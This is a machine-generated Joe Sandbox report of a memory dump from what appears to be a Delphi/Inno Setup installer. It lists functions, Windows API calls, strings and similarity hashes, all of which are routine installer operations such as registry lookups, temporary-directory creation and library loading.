Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: cdc8d4d12959e52a4e35ddab44250c7989461c9b781fe211d3ab07d5faa44346
Instruction ID: 339a64ebbf2375270c19ef2cfa2d714624ee8dcb7e06b01b5ae6522dc3b50067
Opcode Fuzzy Hash: cdc8d4d12959e52a4e35ddab44250c7989461c9b781fe211d3ab07d5faa44346
Instruction Fuzzy Hash: 243181B0A042549ADF10EF29D8C57C67BA8AF14308F4441BAE844DB393D7BED988CB59

Function 00418F38 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418F3D
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F5E
GetCurrentThreadId.KERNEL32 ref: 00418F79
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F9A

Part of subcall function 004230C8: GetDC.USER32(00000000), ref: 0042311E
Part of subcall function 004230C8: EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
Part of subcall function 004230C8: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
Part of subcall function 004230C8: ReleaseDC.USER32(00000000,00000000), ref: 00423144

Part of subcall function 0042368C: LoadIconA.USER32(00400000,MAINICON), ref: 0042371C
Part of subcall function 0042368C: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 00423749
Part of subcall function 0042368C: OemToCharA.USER32(?,?), ref: 0042375C
Part of subcall function 0042368C: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FE6,00000000,?,?,?,00000001), ref: 0042379C

Part of subcall function 0041F118: GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
Part of subcall function 0041F118: SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
Part of subcall function 0041F118: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
Part of subcall function 0041F118: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
Part of subcall function 0041F118: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D

Strings

Delphi%.8X, xrefs: 00418F4F
ControlOfs%.8X%.8X, xrefs: 00418F8B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$CapsDeviceEnumFileFontsIconLibraryLowerModuleNameProcessReleaseThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 316262546-2767913252
Opcode ID: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
Instruction ID: d883a59e21ed3b4d0722d018b4a025de81f9e45e1fd093e44b5ebaba0e30331f
Opcode Fuzzy Hash: b417f06b73a7dba032b12b865c8ed9bc6bb92a8bfb887f153b822e9fb73695be
Instruction Fuzzy Hash: AC115E706142419AD740FF76A94235A7BE1DF64308F40943FF448A7391DB3DA9448B5F

Function 0041363C Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
GetWindowLongA.USER32(?,000000F0), ref: 0041366F
GetWindowLongA.USER32(?,000000F4), ref: 00413681
SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
SetPropA.USER32(?,00000000,00000000), ref: 004136AB
SetPropA.USER32(?,00000000,00000000), ref: 004136C2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
Instruction ID: 06abc153636d574f2b9d5b42ed2ef1d3d1989bf2b09c04f5b7aa0ee96fd2bcf7
Opcode Fuzzy Hash: 7846fecbe383e6d7fdaea4169180c186d89bab15e88d328ea810806c298c4441
Instruction Fuzzy Hash: 1011C975100244BFEF00DF9DDC84EDA37E8EB19364F144666B958DB2A2D738DD908B68

Function 004556D8 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0045586F,?,00000000,004558AF), ref: 004557B5

Strings

PendingFileRenameOperations, xrefs: 00455754
PendingFileRenameOperations2, xrefs: 00455784
WININIT.INI, xrefs: 004557E4
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455738

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2199428270
Opcode ID: ff5e046778063e7c615d5c8ac9a6b1d801ca0d933ef60992733312df31d3558f
Instruction ID: 0fa1da25f67206326559771d92c7e47b52ca8d856d575cc5f046ac455f5bab2a
Opcode Fuzzy Hash: ff5e046778063e7c615d5c8ac9a6b1d801ca0d933ef60992733312df31d3558f
Instruction Fuzzy Hash: FF51A974E006089FDB10EF61DC51AEEB7B9EF44305F50857BEC04A7292DB78AE49CA58

Function 0047C684 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,0047C7DA,?,?,00000000,0049B628,00000000,00000000,?,004980A9,00000000,00498252,?,00000000), ref: 0047C717
GetLastError.KERNEL32(00000000,00000000,00000000,0047C7DA,?,?,00000000,0049B628,00000000,00000000,?,004980A9,00000000,00498252,?,00000000), ref: 0047C720

Strings

_isetup, xrefs: 0047C702
Created temporary directory: , xrefs: 0047C6B9
\_setup64.tmp, xrefs: 0047C792

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup
API String ID: 1375471231-2952887711
Opcode ID: 3f7519f2dbd75ec89759c5e36ccc4ab0adc05f47ddd4608262a1c5d06c660367
Instruction ID: edb20439a36284776f78bdf2a161e381ec1662189dfb35441dcb715623f8c11f
Opcode Fuzzy Hash: 3f7519f2dbd75ec89759c5e36ccc4ab0adc05f47ddd4608262a1c5d06c660367
Instruction Fuzzy Hash: 6F410574A001099BDB01EBA5D8C2ADEB7B5EF44309F50547BE411B7392DB389E058F69

Function 00452510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

74D51520.VERSION(00000000,?,?,?,ptI), ref: 00452530
74D51500.VERSION(00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,ptI), ref: 0045255D
74D51540.VERSION(?,004525D4,?,?,00000000,?,00000000,?,00000000,004525AB,?,00000000,?,?,?,ptI), ref: 00452577

Strings

%E, xrefs: 004525BB, 00452583
ptI, xrefs: 00452516

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: D51500D51520D51540
String ID: ptI$%E
API String ID: 4212506595-3209181666
Opcode ID: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
Instruction ID: f5dca5bfdad9659449235e2d7a4f424f1fde127461be4d93bb02e754cc996b3f
Opcode Fuzzy Hash: f18440ec30d6a8502c14f0dca7f1c7caee1af709ad5b943411f89d38bbe9f821
Instruction Fuzzy Hash: D2218331A00608BFDB01DAA989519AFB7FCEB4A300F554477F800E7242E6B9AE04C765

Function 00423A84 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00423A1C), ref: 00423AA8
GetWindow.USER32(?,00000003), ref: 00423ABD
GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02

Strings

\AB, xrefs: 00423AF2, 00423AF6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID: \AB
API String ID: 4191631535-3948367934
Opcode ID: bca5fbb655e429c390612aedafb62b4dde642c29ff44978b36ddb9eb5ee27a78
Instruction ID: 3ad81c14f5822e14e615a382c86082b2427cd388a5bf15486a3129e996868218
Opcode Fuzzy Hash: bca5fbb655e429c390612aedafb62b4dde642c29ff44978b36ddb9eb5ee27a78
Instruction Fuzzy Hash: D6115E70700610ABDB109F28E885F5677E8EB08715F10026AF994AB2E3C378ED41CB59

Function 0042DE44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0042DE50
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DFEB,00000000,0042E003,?,?,?,?,00000006,?,00000000,004973CD), ref: 0042DE6B
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DE71

Strings

advapi32.dll, xrefs: 0042DE66
RegDeleteKeyExA, xrefs: 0042DE61

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
Instruction ID: e7246de0df94fba710dd2820c0ca51643d5dd29c3ac0bea476bad59fd0e01b91
Opcode Fuzzy Hash: ed1542cdc99e60fdc1e6205037aed1b156b4601bf62b1d4fa5b097ff81e7402e
Instruction Fuzzy Hash: 73E06DF1B41B30AAD72022657C8ABA33729DB75365F658437F105AD19183FC2C50CE9D

Function 0046B984 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 320COMMON

Download Yara Rule

Strings

NextButtonClick, xrefs: 0046BAC0
PrepareToInstall failed: %s, xrefs: 0046BCE2
Need to restart Windows? %s, xrefs: 0046BD09

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID: Need to restart Windows? %s$NextButtonClick$PrepareToInstall failed: %s
API String ID: 0-2329492092
Opcode ID: 37ba51fdfbf3f4723fb08e99647d0fd9c61c097c060f23ffe4e001e6baa90b0a
Instruction ID: b95f389d09e957f91eb9f42d110418d47b08b3dab155efeebd7a2a0376f7d9ee
Opcode Fuzzy Hash: 37ba51fdfbf3f4723fb08e99647d0fd9c61c097c060f23ffe4e001e6baa90b0a
Instruction Fuzzy Hash: F2D12F34A04208DFCB10EBA9D585AED77F5EF09304F5440BAE404EB352D779AE81DB9A

Function 00482B68 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 226COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?,?,00000000,00482EB9), ref: 00482C8C
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 00482D2A

Strings

, xrefs: 00482DE7
Need to restart Windows? %s, xrefs: 00482D67

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: 81628947227ec58f55b2c351f2131b28aedfbb6b6148b8ba4744526014514c8c
Instruction ID: 086790f0fc0b942e3ee9f07944933bacbb32a26cbddea002bc31c7aef2919c1b
Opcode Fuzzy Hash: 81628947227ec58f55b2c351f2131b28aedfbb6b6148b8ba4744526014514c8c
Instruction Fuzzy Hash: 60919F746002449FDB10FB69D9C5BAE7BE5AF59304F4484BBE8009B3A2C7B8AD05CB5D

Function 0046F950 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828

GetLastError.KERNEL32(00000000,0046FB4D,?,?,0049C1DC,00000000), ref: 0046FA2A
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046FAA4
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046FAC9

Strings

Creating directory: %s, xrefs: 0046FA12

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ChangeNotify$ErrorFullLastNamePath
String ID: Creating directory: %s
API String ID: 2451617938-483064649
Opcode ID: d5447365283b068e30203d66d8a9de4eaa18c1a3b89182fdc70a83f7754103f0
Instruction ID: 553d0e02451aea180b77d3c3bea8b04784d1aec5cd58197de2500155b30451aa
Opcode Fuzzy Hash: d5447365283b068e30203d66d8a9de4eaa18c1a3b89182fdc70a83f7754103f0
Instruction Fuzzy Hash: E5516474E00248ABDB00DFA5D992BDEB7F5AF49304F50847AE850B7386D7786E08CB59

Function 00454DD4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 00454E82
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,00454F48), ref: 00454EEC

Strings

SfcIsFileProtected, xrefs: 00454E7C
sfc.dll, xrefs: 00454E44

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: SfcIsFileProtected$sfc.dll
API String ID: 2508298434-591603554
Opcode ID: b2872c537cb6cd03ad7726ff2c2bd0a0e2fc6763cd0da9df413ff005d177c2bc
Instruction ID: 0183ab2a96bad10459dc7acb776d15a29b7b4c70eaa7773bbc3cb8db3249cf06
Opcode Fuzzy Hash: b2872c537cb6cd03ad7726ff2c2bd0a0e2fc6763cd0da9df413ff005d177c2bc
Instruction Fuzzy Hash: 1A419771A042189BEB20DB59DC85B9DB7B8EB4430DF5041B7E908A7293D7785F88CE1C

Function 00416410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,?,?), ref: 0041647F
UnregisterClassA.USER32(?,00400000), ref: 004164AB
RegisterClassA.USER32(?), ref: 004164CE

Strings

@, xrefs: 00416429

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Class$InfoRegisterUnregister
String ID: @
API String ID: 3749476976-2766056989
Opcode ID: df6e090dea74baa5ac925230d828a7230e5c2d53f0976f0f8597eebaced2b944
Instruction ID: c77080f262680b7bd3c4c6a37e0a11d074b1995aa9dd52ebf92fb76dd285a693
Opcode Fuzzy Hash: df6e090dea74baa5ac925230d828a7230e5c2d53f0976f0f8597eebaced2b944
Instruction Fuzzy Hash: B8316D702042409BD720EF69C981B9B77E5AB89308F04457FF949DB392DB39DD44CB6A

Function 0042ED38 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8

Strings

shlwapi.dll, xrefs: 0042ED73
SHAutoComplete, xrefs: 0042EDA2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressAutoCompleteDirectoryErrorLibraryLoadModeProcSystem
String ID: SHAutoComplete$shlwapi.dll
API String ID: 395431579-1506664499
Opcode ID: 9bc7ff361d258be52dd27e2f74bcf33eed5b2b299b3a40fb55461f8ad11e2a91
Instruction ID: e807f919b0f5f47641bb36d66eaae5ab4e0d2818c3cb02d7dc2bc8906116ae4e
Opcode Fuzzy Hash: 9bc7ff361d258be52dd27e2f74bcf33eed5b2b299b3a40fb55461f8ad11e2a91
Instruction Fuzzy Hash: 3311A330B00319BBD711EB62FD85B8E7BA8DB55704F90447BF40066291DBB8AE05C65D

Function 00455A10 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,00455A7B,?,00000001,00000000), ref: 00455A6E

Strings

PendingFileRenameOperations, xrefs: 00455A40
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00455A1C
PendingFileRenameOperations2, xrefs: 00455A4F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: 9558350f34ddeb35ff12a6c57317cf96059e68c4625077236ac43c80a8283c08
Instruction ID: e9356c19d9a7d2c1b22529064790e486fb2be540b5bf165494b3782c633fa2c0
Opcode Fuzzy Hash: 9558350f34ddeb35ff12a6c57317cf96059e68c4625077236ac43c80a8283c08
Instruction Fuzzy Hash: A3F0F671304A08BFDB04D661DC62A3B739CE744725FB08167F800CB682EA7CBD04915C

Function 0047F7DC Relevance: 6.1, APIs: 4, Instructions: 147fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B,?,?,00000000), ref: 0047F882
FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B,?,?), ref: 0047F88F
FindNextFileA.KERNEL32(000000FF,?,00000000,0047F9A8,?,?,?,?,00000000,0047F9D5,?,00000000,00000000,?,?,00480C2B), ref: 0047F984
